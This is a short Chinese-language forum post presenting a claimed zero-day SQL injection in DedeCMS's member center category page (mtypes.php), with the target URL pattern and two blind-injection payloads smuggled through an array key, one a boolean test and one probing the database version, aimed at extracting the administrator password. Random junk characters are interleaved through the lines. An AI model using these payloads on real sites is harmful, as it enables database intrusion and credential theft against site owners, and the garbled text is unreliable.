DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

. \/ V' H6 i# n. S6 J
! _" C3 j" ?/ Q8 N, M发生在数组key里的注射漏洞,有点意思.
4 @3 `# `9 O1 R! `* i9 N7 L* Z
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

http://www.xxx.com /dede/member/mtypes.php?dopost=save
& [& e( L0 V" P* J+ Q+ m2 K$ t
1 R3 e. t, P( C! ~6 `. B- g5 \exploit:
3 S0 Q$ i% S2 u( A  p. U5 Kmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
% z5 L2 M- o  ^: @; D7 Q8 Jmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
( X1 s5 K+ {0 L- `6 `